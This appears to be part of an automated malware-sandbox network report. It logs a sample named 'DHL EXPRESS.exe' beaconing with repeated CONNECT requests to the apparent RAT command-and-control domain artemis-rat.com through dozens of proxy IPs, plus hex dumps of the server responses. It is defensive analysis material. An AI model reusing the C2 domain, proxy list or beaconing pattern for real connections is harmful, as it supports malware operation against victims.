0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1501	192.168.2.8	53952	117.160.250.133	8899	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.604064941 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.768841028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769531965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863521099 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.956476927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:18.051610947 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:37:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>
Mar 11, 2024 18:37:21.050482035 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:37:17 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1502	192.168.2.8	53957	117.160.250.134	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.604976892 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.864588022 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1503	192.168.2.8	54302	58.234.116.197	8193	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.605082035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1504	192.168.2.8	50234	62.171.131.101	41055	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.605355024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.768868923 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769530058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1505	192.168.2.8	50287	62.171.131.101	29497	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.606573105 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.768846035 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769532919 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863523006 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.956480026 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.956301928 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:40.987570047 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:04.987600088 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1506	192.168.2.8	50115	62.171.133.66	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.615257978 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.263813972 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1507	192.168.2.8	54322	59.6.26.121	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.617314100 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.920795918 CET	166	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1508	192.168.2.8	54323	8.217.143.187	15673	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.698962927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1509	192.168.2.8	54342	163.172.129.251	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.699330091 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1510	192.168.2.8	54363	104.17.66.69	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.701252937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.855403900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1511	192.168.2.8	52963	158.51.210.75	7777	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.705893040 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1512	192.168.2.8	54325	177.38.5.16	4153	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.705996990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1513	192.168.2.8	52979	143.137.83.137	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.708616018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.141046047 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1514	192.168.2.8	54354	157.185.173.217	26589	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.714710951 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1515	192.168.2.8	53969	36.134.25.72	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.715435028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.769045115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:58.769526958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:04.863507032 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:16.956496000 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:28.957041979 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:40.989054918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:04.991298914 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1516	192.168.2.8	50400	181.78.22.228	999	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.726068020 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1517	192.168.2.8	54321	74.118.80.244	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.729558945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1518	192.168.2.8	54303	211.93.2.190	7302	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.736834049 CET	193	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com
Mar 11, 2024 18:36:53.180819988 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1519	192.168.2.8	54391	104.21.80.83	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.765239954 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.919281960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1520	192.168.2.8	54376	192.154.246.96	9000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.768573046 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1521	192.168.2.8	54330	103.153.154.6	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.770215988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.768939972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.203829050 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 17:36:53 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1522	192.168.2.8	54004	37.187.73.7	16113	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:52.773217916 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:55.956950903 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.065876961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:05.066472054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.065661907 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:29.081341982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:41.190682888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
